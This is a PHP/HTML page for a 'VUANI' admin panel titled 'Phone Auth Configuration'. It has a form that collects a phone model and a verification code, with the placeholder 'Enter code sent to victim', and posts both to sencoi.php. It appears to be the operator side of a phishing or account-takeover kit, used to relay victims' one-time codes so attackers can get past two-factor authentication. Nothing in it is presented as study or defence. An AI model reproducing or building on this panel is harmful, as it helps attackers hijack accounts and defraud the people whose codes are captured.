<?php
session_start();
function html_sanitize($input){ 
    $input = htmlspecialchars($input);
    return $input;
}
$uid = html_sanitize($_GET['uid']);

?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Phone Auth Configuration</title>
    <style>
        :root {
            --bg-dark: #121212;
            --bg-card: #1e1e1e;
            --text-main: #f1f5f9;
            --accent: #e8b810;
            --success: #2ecc71;
            --danger: #e74c3c;
            --bg-nav: #0f172a;
        }
        * { padding: 0; margin: 0; box-sizing: border-box; }
        body {
            font-family: 'Inter', -apple-system, sans-serif;
            background-color: var(--bg-dark);
            color: var(--text-main);
            display: flex;
            flex-direction: column;
            align-items: center;
            min-height: 100vh;
        }
        .header {
            width: 100%;
            text-align: center;
            background-color: var(--bg-nav);
            padding: 15px;
            border-bottom: 2px solid var(--accent);
            color: var(--accent);
            letter-spacing: 5px;
            font-size: 24px;
            text-transform: uppercase;
        }
        .container {
            width: 95%;
            max-width: 500px;
            margin-top: 50px;
        }
        .card {
            background-color: var(--bg-card);
            border-radius: 12px;
            border: 1px solid #333;
            box-shadow: 0 20px 25px -5px rgba(0, 0, 0, 0.1);
            overflow: hidden;
        }
        .card-header {
            background: #1e293b;
            padding: 20px;
            border-bottom: 1px solid #334155;
            color: var(--accent);
            font-weight: 700;
            text-transform: uppercase;
            font-size: 14px;
            letter-spacing: 0.1em;
        }
        .card-body { padding: 30px; }
        .form-group { margin-bottom: 20px; }
        label {
            display: block;
            font-size: 11px;
            color: #94a3b8;
            text-transform: uppercase;
            font-weight: 600;
            margin-bottom: 8px;
            letter-spacing: 0.05em;
        }
        input {
            width: 100%;
            height: 45px;
            background: #252525;
            border: 1px solid #333;
            border-radius: 6px;
            color: #fff;
            padding: 0 15px;
            outline: none;
            transition: border-color 0.2s;
            font-size: 14px;
        }
        input:focus { border-color: var(--accent); }
        .btn {
            width: 100%;
            height: 45px;
            background-color: var(--accent);
            color: #000;
            font-weight: 700;
            border: none;
            border-radius: 6px;
            cursor: pointer;
            text-transform: uppercase;
            letter-spacing: 1px;
            font-size: 12px;
            transition: background 0.2s;
        }
        .btn:hover { background-color: #d4a70d; }
        .back-link {
            display: block;
            text-align: center;
            margin-top: 20px;
            color: #94a3b8;
            text-decoration: none;
            font-size: 12px;
        }
        .back-link:hover { color: var(--accent); }
    </style>
</head>
<body>
    <h1 class="header">VUANI</h1>
    <div class="container">
        <div class="card">
            <div class="card-header">
                Phone Auth Configuration
            </div>
            <div class="card-body">
                <form action="sencoi.php" method="POST">
                    <input type="hidden" name="uid" value="<?=$uid?>">
                    <div class="form-group">
                        <label>Phone Name / Type</label>
                        <input type="text" name="phone" placeholder="e.g. iPhone 13, Samsung S21" required>
                    </div>
                    <div class="form-group">
                        <label>Verification Code</label>
                        <input type="text" name="code" placeholder="Enter code sent to victim" required>
                    </div>
                    <button type="submit" name="save_student" class="btn">Update & Proceed</button>
                </form>
            </div>
        </div>
        <a href="./" class="back-link">Return to Admin Panel</a>
    </div>
</body>
</html>
